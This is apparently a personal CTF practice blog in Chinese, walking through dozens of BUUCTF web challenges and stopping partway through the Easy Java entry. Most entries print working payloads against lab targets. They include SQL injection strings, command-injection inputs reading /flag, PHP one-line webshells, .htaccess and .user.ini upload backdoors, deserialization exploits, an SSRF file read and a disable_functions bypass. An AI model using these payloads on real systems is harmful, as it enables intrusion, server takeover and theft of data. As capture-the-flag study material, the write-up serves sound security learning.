2021.10.23打了浙江省省赛预赛,web全程坐牢

结果fmyyy师傅说都是基础题我绷不住了,决定继续刷题之路

[HCTF 2018]WarmUp

拿到代码,先进行一波代码审计,这里我直接贴上我审计好的图

image-20211027212019329

总体来说,大概是三次白名单检测,两次截取第一个问号前面的内容,并且还有个hint.php,提示flag在ffffllllaaaagggg中,只要在三次白名单检测里其中任何一次检测成功即可,其中page变量中途被截取以后变成了_page变量,并且最后_page变量经过了一次url解码,我们就想办法让他在三次白名单检测当中检测到我们的source.php或者hint.php,这里他既然有第三次,应该是安排在了第三次检测到,我们逆向推回去,第三次在第一个问号前面检测到了hint.php,原来就是file=hint.php?第三次检测之前就是第二次截取,第二次截取之前是一次url解码,但是我们geit请求提交以后网站自动会进行一次url解码,所以这里手动给问号加两次次url编码得到file=hint.php%253F这样看下来大概是没问题了,然后进行我们的目录穿越达到一个文件包含的目的

payload:

1
source.php?file=source.php%253F/../../../../ffffllllaaaagggg

[极客大挑战 2019]EasySQL

image-20211024154341861

看名字应该是sql注入题,直接万能密码得到flag

Payload:

1
check.php?username=1%27+or+1%3D1%23&password=123456

[极客大挑战 2019]Havefun

这题右键查看源代码,发现被注释了一部分,我们这里直接get传参就得到flag了

1
2
3
4
5
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}

payload:

1
?cat=dog

[强网杯 2019]随便注

常规的sql注入测试一下,输入 1’ order by 3#的时候报错了,说明只有两个字段

image-20211024155039628

发现过滤了一些东西,这里用堆叠注入先看一下

1
2
3
4
5
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
1'; show databases#
1'; show tables#
1'; show columns from words; #
1'; show columns from `1919810931114514 `; # 这里需要注意,表名为纯数字时需要反引号包裹

image-20211024155440153

发现flag字段,但是过滤了增删改查的语句这就很难受了

这里我也不会,直接上Payload

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

还有一种思路是通过rename把words表名改为其他的,把1919810931114514改为words,给新的words表增加新的列名id,把flag改名为data;

Payload

1
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

image-20211024160044757

[ACTF2020 新生赛]Include

image-20211024163540071

应该是考文件包含,但是直接包含flag.php里没有,这里考的就是php伪协议,直接上payload

1
/?file=php://filter/read=convert.base64-encode/resource=flag.php

image-20211024163638128

解码即可得到flag

[SUCTF 2019]EasySQL

这题输入1和2-1结果一样,应该是数值型的

这里我使用order by输出nonono,应该是被过滤了,union联合查询应该不行了,然后也不报错,报错注入也不行了,堆叠查询可以

1
2
3
1;show databases#
1;show tables #
1;show columns from Flag #

然后就坐牢了,直接看了WP。

解法1

直接猜测后端语句为

1
sql="select".$_POST['query']."|| flag from Flag"

我们这时候如果$_POST[‘query’]=*,1,后端语句就变成了

1
sql="select *,1|| flag from Flag"

等效为

1
sql="select *,flag from Flag"

image-20211024164440710

解法2

在解法1的基础上猜测出来了后端语句是

1
sql="select".$_POST['query']."|| flag from Flag"

系统变量@@sql_modesql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似

我们这里只需要把sql_mode改为pipes_as_concat即可

Payload

1
1;set sql_mode=pipes_as_concat;select 1

[极客大挑战 2019]Secret File

image-20211024173118938

打开以后啥也看不到,右键查看源代码会发现一个Archive_room.php

image-20211024173203702

点了一下serect以后就查阅结束,估计是跳的很快,我们抓个包看看

image-20211024173312440

提示secr3t.php文件,我们访问看看,访问得到如下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>

大概意思就是不能出现../,tp,unput,data这些字符,并且大小写也没用,这里直接伪协议吧,直接给出payload

1
secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

得到base64解密即可

image-20211024173903041

[ACTF2020 新生赛]Exec

看名字就是一道RCE的题,进去以后是一个ping的功能

image-20211024174103989

这里直接用管道符即可,我们先找一下flag的位置

1
127.0.0.1;cd /;ls

image-20211024174148660

发现flag,用cat查看一下即可

1
127.0.0.1;cat /flag

image-20211024174217626

[极客大挑战 2019]LoveSQL

还是sql注入,万能密码只能拿到一个admin的md5密文吧(我猜的,没试过)

直接联合查询梭哈,先判断几列,然后爆表爆字段

1
2
3
4
1' order by 4#   报错,说明是三列
1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='l0ve1ysq1' #
1' union select group_concat(id),group_concat(username),group_concat(password) from l0ve1ysq1#

显示的有点乱直接F12查看就 好了

image-20211024175153408

[GXYCTF2019]Ping Ping Ping

image-20211024175309355

提示?ip=,盲猜是ping ip的,get方式传入参数ip,导致RCE,直接开始梭哈

image-20211024175406393

确定了一下确实是get传入ip参数,然后ping传入的ip,我们这里直接开始找flag

1
?ip=127.0.0.1;cd /;ls

但是这里提示fxck your symbol!,应该是存在过滤

image-20211024175502960

image-20211024175559979

空格也被过滤了,我们可以使用${IFS}来替代空格绕过过滤

1
?ip=127.0.0.1|ls   查看到当前位置是存在flag.php的,想办法查看他即可

我们这里直接来看游戏他过滤了什么,

1
?ip=127.0.0.1|cat$IFS$1index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>

可以看到这里还有一个$a变量,这里就可能存在变量覆盖的问题,所以我们可以传入一个a=g,然后构造fla$a.php

Payload:

1
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

右键查看源代码即可得到flag

image-20211024180648432

[极客大挑战 2019]Knife

image-20211024181214820

这也太简单了,直接连webshell即可得到flag

image-20211024181352865

[极客大挑战 2019]Http

直接右键查看源代码,发现Secret.php,访问看看是啥

image-20211024181540608

image-20211024181609032

提示不是从https://Sycsecret.buuoj.cn访问过来的,抓包添加Referer头,把referer头改为这个网站即可

image-20211024181820955

提示不是使用这个Syclover浏览的,我们改一下UA头,提示只能本地阅读,那再添加一个XFF头

image-20211024181916757

把XFF头改为127.0.0.1即可得到flag

image-20211024182129247

[极客大挑战 2019]Upload

得到的是一个上传点,图片啥的,我换了png和jpg上传都提示not image,就很奇怪,查看源代码找到form表单

1
2
3
4
5
6
7
8
<form action="upload_file.php" method="post" enctype="multipart/form-data">
</br></br></br></br></br></br></br></br></br></br></br></br></br></br></br>
<div align="center">
<label for="file" style="font:20px Georgia,serif;">图片:</label>
<input type="file" name="file" id="file" >
<input type="submit" name="submit" value="提交" class="button">
</div>
</form>

经过测试,php php3 php4 php5都不行,改到phtml即可,但是不能待遇<?,所以使用如下的一句话木马

1
GIF89a? <script language="php">eval($_REQUEST[1])</script>

并且需要改一下文件格式为image/png

image-20211024183019791

蚁剑连接即可得到flag

image-20211024183255422

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
?>

大概源代码的意思就是,get方法传入一个code参数并且code参数要少于40个长度并且code参数里不能出现字母和数字

这里可以使用异或或者取反绕过

异或绕过是指使用各种特殊字符的异或构造出字母和数字。取反绕过是对语句取反。

先构造出phpinfo来看看他php版本什么的信息,看看他禁用了什么函数

我们直接构造一个php文件来把phpinfo构造出来

1
2
3
<?php
$a="phpinfo";
echo urlencode(~$a);

输出出来的结果:%8F%97%8F%96%91%99%90

Payload:

1
url/?code=(~%8F%97%8F%96%91%99%90)();

image-20210714181239403

禁用了很多函数,我们尝试构造一个木马,先连上蚁剑

1
2
3
4
5
6
7
8
9
10
<?php
$a="assert";
$b='(eval($_POST[cmd]))';
echo urlencode(~$a);
echo "<br>";
echo urlencode(~$b);
/*
%9E%8C%8C%9A%8D%8B
%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
*/

Payload:

1
url/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);

根目录下可以看到/flag和/readflag两个文件,应该是要通过执行/readflag来获取Flag的

这里用工具
地址https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

在/tmp目录有上传文件,我们把所需的文件上传到这里,把PHP那个文件重命名为shell.php

image-20210714183352073

需要构造一个新的payload:

1
“?code=${GET}_;&=assert&_=eval($_POST['cmd'])”

最后的Payload:

1
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

image-20210714183918863

异或的构造:

1
2
3
4
5
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"
for i in range(0, len(str)):
for j in range(0, len(str)):
a = ord(str[i])^ord(str[j])
print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a))

结果太多就不放了,举个例子吧,例如phpinfo

1
2
3
4
5
6
7
8
9
/ ^ _ is p
( ^ @ is h
/ ^ _ is p
) ^ @ is i
. ^ @ is n
; ^ ] is f
/ ^ @ is o

Payload:$_='/(/).;/'^'_@_@@]@';$_();

无需sendmail:巧用LD_PRELOAD突破disable_functions

[RoarCTF 2019]Easy Calc

右键查看源代码,提示了一个calc.php和存在waf

image-20211024191311036

访问calc.php,是一个代码审计,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

黑名单里有一些特殊字符,然后后面是一个代码执行,输入phpinfo()试试,不管咋样都提示403,应该是存在WAF,利用php字符串解析特性就可以绕过他

直接构造? num=phpinfo();num前面有个空格,由于/被过滤,可以用chr(47)代替/,然后用scandir来进行目录读取

1
2
calc.php? num=1;var_dump(scandir(chr(47)))
?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[ACTF2020 新生赛]Upload

找到上传点,直接把后缀改成phtml即可

image-20211024201526380

image-20211024201542745

[极客大挑战 2019]PHP

提到了备份网站,www.zip下载下来了源码,翻了一下,一个index.php一个class.php

反序列化的题,给出class.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}

大概就是要username=admin并且password=100要等于一百,但是wakeup魔术方法会把username换成guest,所以需要通过修改序列化字符串中对象的个数来绕过该方法。

exp:

1
2
3
4
5
6
7
8
9
10
<?php
class Name
{
private $username = 'admin';
private $password = '100';
}
$a = new Name();
#进行url编码,防止%00对应的不可打印字符在复制时丢失
echo urlencode(serialize($a));
?>

image-20211024210321390

[极客大挑战 2019]BabySQL

我们之前做一个简单一点的,直接拿三列进行联合查询,发现只有1 #了,应该是存在过滤并且被替换为空格了,双写绕过

image-20211024211141881

1
1'ununionion seselectlect 1,2,3#

image-20211024211227273

1
2
3
1' ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3 #
1'ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = 'b4bsql'),3 #
1'ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 #

image-20211024212110756

[ACTF2020 新生赛]BackupFile

题目是backupfile,和备份文件有关,试了几个,直接是index.php.bak,给出代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

大概就是判断一下key是不是数字,并且key要等于123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3,php特性吧,数字与字符串弱比较会先把字符串转为数字

payload:

1
?key=123

image-20211024213034547

[护网杯 2018]easy_tornado

l看题目应该是Python的web框架-Tornado,应该是存在模板注入,给出的提示分别是

1
2
3
flag in /fllllllllllllag
render
md5(cookie_secret+md5(filename))

并且我们可以发现url里存在filename和filehash参数,这里我们直接把filename改成/fllllllllllllag试试,提示error,并且url中带有msg参数=Error,根据题目名称tornado以及主页第二个文件welcome.txt中的render提示,判断是模板注入。render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页。

image-20211025170350872

这时候知道filename了还需要知道一个cookie_secret,handler.settings可以得到cookie_secretde的值

image-20211025170622670

把cookie_secret和filename拼接进行md5加密即可

payload:

1
file?filename=/fllllllllllllag&filehash=d91a4f9f89897f9f91702abec1e2d10a

image-20211025170906665

[极客大挑战 2019]BuyFlag

右键打开源代码, 发现pay.php

image-20211025171038677

image-20211025171129098

得到flag需要满足100000000元并且是CUIT的学生。我们右键打开源代码可以发现一串php代码

1
2
3
4
5
6
7
8
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}

这里要post一个password和一个money,我们把post参数搞上去money=100000000&password=404a

这里直接发包没反应,继续回来看抓到的包,我们看到了cookie中有一个user=0,我们改成1试试

image-20211025205023648

提示nember太长,换成科学计数法即可,把money换成1e10

image-20211025205102121

[ZJCTF 2019]NiZhuanSiWei

给出源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

get传入text,file,和password,password是序列化以后的字符串,经过一个反序列化的函数以后输出,file是被包含的一个文件,提示了useless.php,并且不能含有flag,text要是welcome to the zjctf

这里text用data协议,file用php伪协议,直接进行包含读取useless.php源代码试试

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php

把得到的base64解码出来得到如下源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php  
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>

只要把file属性改为flag.php即可,这里给出poc

1
2
3
4
5
6
<?php  
class Flag{ //flag.php
public $file="flag.php";
}
echo serialize(new Flag());
?>

最后payload:

1
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

右键查看源代码即可

[SUCTF 2019]CheckIn

一道文件上传题,随便传个图片,提示<? in contents!

image-20211026162038036

应该是不让传带有<?内容的,这里直接使用如下一句话木马即可绕过

1
<script language="php">eval($_REQUEST[1])</script>

随便上传一个txt试试,提示exif_imagetype:not image!

image-20211026162248089

这应该是一个判断图像类型的函数, 在文件前面加上GIF89a即可绕过,我们这里利用.user.ini下的一个配置来进行文件包含即可。

user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)

其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中:

auto_prepend_file=test.jpg

那么当我们访问此目录下的任何一个文件时,都会去包含test.jpg

.user.ini文件构成的后门

image-20211026162307190

先把我们的.user.ini上传到靶机上,然后随便上传一张图片即可

image-20211026162612712

然后到对应的目录蚁剑连接即可

[极客大挑战 2019]HardSQL

额,就一个普通的报错注入,但是过滤了and、= 空格 union等多个sql关键字

直接给出payload吧

1
2
3
4
5
6
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))# //只查到了左边,我们用right函数
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#

[MRCTF2020]你传你🐎呢

这题普通上传测试了,发现改为phtml,php3等都不行,直接传.htaccess文件

.htaccess是什么

启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。如果需要使用.htaccess以外的其他文件名,可以用AccessFileName指令来改变。例如,需要使用.config ,则可以在服务器配置文件中按以下方法配置:AccessFileName .config 。

笼统地说,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

那么现在开始写一个.htaccess文件,里面的内容为:

1
2
3
<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

然后把这个.htaccess上传,这里需要注意把content-type改为image-png

image-20211026170903947

然后把图片马上传即可,我蚁剑测试连接可以成功,好像被ban了system函数,phpinfo()是可以出来的

image-20211026171542724

[网鼎杯 2020 青龙组]AreUSerialz

考代码审计加反序列化以及反序列化中protected属性中的不可见字符\00*\00绕过is_valid()函数

直接上代码吧。

1
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {    protected $op;    protected $filename;    protected $content;    function __construct() {        $op = "1";        $filename = "/tmp/tmpfile";        $content = "Hello World!";        $this->process();    }    public function process() {        if($this->op == "1") {            $this->write();        } else if($this->op == "2") {            $res = $this->read();            $this->output($res);        } else {            $this->output("Bad Hacker!");        }    }    private function write() {        if(isset($this->filename) && isset($this->content)) {            if(strlen((string)$this->content) > 100) {                $this->output("Too long!");                die();            }            $res = file_put_contents($this->filename, $this->content);            if($res) $this->output("Successful!");            else $this->output("Failed!");        } else {            $this->output("Failed!");        }    }    private function read() {        $res = "";        if(isset($this->filename)) {            $res = file_get_contents($this->filename);        }        return $res;    }    private function output($s) {        echo "[Result]: <br>";        echo $s;    }    function __destruct() {        if($this->op === "2")            $this->op = "1";        $this->content = "";        $this->process();    }}function is_valid($s) {    for($i = 0; $i < strlen($s); $i++)        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))            return false;    return true;}if(isset($_GET{'str'})) {    $str = (string)$_GET['str'];    if(is_valid($str)) {        $obj = unserialize($str);    }}[Result]:

大概就是一个FileHandler对象,有op,filename,content三个属性以及process(),write(),read(),output()四个方法以及__construct()和__destruct()两个魔术方法

__construct()魔术方法会对对象的属性进行赋值并且执行process()方法,process()根据op的不同来实现不同的功能,这里主要看op=2时,会执行read()和output()方法,write()方法可以把长度小于等于100的字符串读入到filename的文件中,read()就是把filename文件中的内容输出

这里还定义了一个is_valid函数,会判断输入的字符的ASCII值是否在32到125之间,最后__destruct()把op设置为了1,content设置为了空,我们的目的是通过控制read()读取flag.php的内容。

这里主要的点就是绕过is_valid()函数以及__destruct()魔术方法

绕过is_valid()函数

1、is_valid()函数规定字符的ASCII码必须是32-125,而protected属性在序列化后会出现不可见字符\00*\00,转化为ASCII码不符合要求。

绕过方法:

①PHP7.1以上版本对属性类型不敏感,public属性序列化不会出现不可见字符,可以用public属性来绕过

②private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,但是url编码后就可以看得很清楚了。同理,protected属性会引入\x00*\x00。此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。

绕过__destruct()魔术方法

源代码是强比较,op是数值型的2===”2”时候是false,op是数值型的2==”2”是true

POC:

1
<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {     public $op=2;     public $filename="flag.php";     public $content="hello word";}echo serialize(new FileHandler());

image-20211026205618449

[MRCTF2020]Ez_bypass

I put something in F12 for you include ‘flag.php’

打开页面提示按F12,查看源代码,主要代码如下

1
if(isset($_GET['gg'])&&isset($_GET['id'])) {    $id=$_GET['id'];    $gg=$_GET['gg'];    if (md5($id) === md5($gg) && $id !== $gg) {        echo 'You got the first step';        if(isset($_POST['passwd'])) {            $passwd=$_POST['passwd'];            if (!is_numeric($passwd))            {                 if($passwd==1234567)                 {                     echo 'Good Job!';                     highlight_file('flag.php');                     die('By Retr_0');                 }

就是一个md5()强比较以及一个is_numeric()的绕过,非常简单

md5()用数组绕过,is_numeric()用1234567a绕过

image-20211026210851309

[GXYCTF2019]BabySQli

应该是sql注入题,盲测了一下,好像or啥的被过滤了,随手试试弱口令,admin登陆以后说wrong pass,右键发现一串代码

image-20211026211427260

拿去解一层base32然后一层base64可以发现他提示我们后端语句

1
select * from user where username = '$name'

然后就是漫长的坐牢时间,过滤了=,小括号,or啥的,直接百度看wp了

看了wp以后发现这又get到了一个新知识,这里先把他的关键代码拿出来分析一下吧

1
if(preg_match("/\(|\)|\=|or/", $name))//过滤了小括号,or,和等号。$name = $_POST['name'];$password = $_POST['pw'];$sql = "select * from user where username = '".$name."'";$result = mysqli_query($con, $sql);         if($arr[1] == "admin"){             if(md5($password) == $arr[2]){                 echo $flag;            }           else{                 die("wrong pass!");             }         }后端接收了账号密码后,居然是直接用接收到的账号作为查询条件进行查询的,查询出来的第二项结果如果不为admin就会die,也就是说输入的账号必须为admin,随后对比admin这行的密码与输入密码是否相等密码储存方式为md5加密后的密码。

我们利用联合查询来插入语句

1
select * from user where uname='admin' union select '1','2','3';此时查询结果出了admin那一行,还会多出一行联合查询的字段,作为数据临时插入。利用这个特性,首先随便选一个密码例如1,md5加密后用它作为临时密码插入。

payload:

1
test'union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'&passwd=1

image-20211027120006558

知识点:

当查询的数据不存在的时候,联合查询就会构造一个虚拟的数据。
比如:(自己没这个环境也没搭建,借其他博客的图片举个例子,大佬莫怪)
原先的表有这三个字段,有这样的数据内容

image-20211027120049511

我们如果在查询的时候输入这样的查询语句:

image-20211027120057775

image-20211027120103759

发现我们在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。这时候直接在pass框里面输入e10adc3949ba59abbe56e057f20f883e的md5解密结果就可以了。

[CISCN2019 华北赛区 Day2 Web1]Hack World

随手测一下,发现过滤了如下字符

image-20211027120326489

拿id=(1)=(1)和id=(1)=2发现这里应该是个盲注,前者正常后者提示Error Occured When Fetch Result.

提示flag在表flag,字段为flag中,直接编写脚本跑flag吧(其实我这没跑出来)

1
import requestsimport stringdef blind_injection(url):	flag = ''	strings = string.printable	for num in range(1,60):		for i in strings:			payload = '(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))			post_data = {"id":payload}			res = requests.post(url=url,data=post_data)			if 'Hello' in res.text:				flag += i				print(flag)			else:				continue	print(flag)if __name__ == '__main__':	url = 'http://a1aaea93-092d-47c7-9bc2-7cc96cb6aef2.node4.buuoj.cn:81/index.php'	blind_injection(url)

[GYCTF2020]Blacklist

和强网杯那个随便注差不多,直接给出payload

1
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#

[网鼎杯 2018]Fakebook

查看robots.txt文件,发现有源码泄露

1
<?phpclass UserInfo{    public $name = "";    public $age = 0;    public $blog = "";    public function __construct($name, $age, $blog)    {        $this->name = $name;        $this->age = (int)$age;        $this->blog = $blog;    }    function get($url)    {        $ch = curl_init();        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        $output = curl_exec($ch);        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);        if($httpCode == 404) {            return 404;        }        curl_close($ch);        return $output;    }    public function getBlogContents ()    {        return $this->get($this->blog);    }    public function isValidBlog ()    {        $blog = $this->blog;        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);    }}

里面有Curl啊,可能存在SSRF漏洞,除此之外我们还能找到一个注入点,就是view.php?no=

这里直接可以使用报错注入

1
view.php?no=1/**/and/**/updatexml(1,concat('~',(select/**/database()),'~'),1) #

报错注入可以获得网站的路径是/var/www/html/,只要可以访问到flag.php即可

这时候ssrf的作用就体现出来了,在这ssrf通过http协议无法获取flag,但是curl还支持file协议,构造序列化字符串

1
<?phpclass UserInfo  {    public $name = "test";    public $age = 1;    public $blog = "file:///var/www/html/flag.php";}$data = new UserInfo();echo serialize($data);?>

payload:

1
?no=-1/**/union/**/select/**/1,2,3,%27O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}%27#

image-20211027152447699

[GXYCTF2019]BabyUpload

三个过滤。文件类型要是image/jpeg,文件后缀名不能含有ph,文件内容不能含有<?

无法绕过的限制,只能利用.htaccess文件,先传入.htaccess文件

1
AddType application/x-httpd-php .xxx

传入如下一句话木马,文件名为1.xxx

1
<script language="php">eval($_POST['mochu7']);</script>

image-20211027153840186

1
a=var_dump(file_get_contents('/flag'));

image-20211027154004271

[BUUCTF 2018]Online Tool

1
<?phpif (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {    $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];}if(!isset($_GET['host'])) {    highlight_file(__FILE__);} else {    $host = $_GET['host'];    $host = escapeshellarg($host);    $host = escapeshellcmd($host);    $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);    echo 'you are in sandbox '.$sandbox;    @mkdir($sandbox);    chdir($sandbox);    echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);}}

拿到源代码,可以看到有一个system函数,应该就是利用这个system函数来getshell,主要是传入host参数然后进行nmap扫描,但是中途经过了两个函数,分别是escapeshellarg()和escapeshellcmd()

PHP escapeshellarg()+escapeshellcmd() 之殇

1
传入的参数是:172.17.0.2' -v -d a=1经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

在nmap命令中 有一个参数-oG可以实现将命令和结果写到文件

这个命令就是我们的输入可控!然后写入到文件!OK很自然的想到了上传一个一句话木马了…

1
?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

[RoarCTF 2019]Easy Java

查看源代码,发现有一个Download?filename=help.docx,点击发现java.io.FileNotFoundException:{help.docx}

改为post传参下载到一个help.docx,flag不在这,我们去下载配置文件看看

http://8c0f7673-558d-4f0c-81b3-f6e5d1c180fe.node4.buuoj.cn:81/Download POST:filename=WEB-INF/web.xml

1
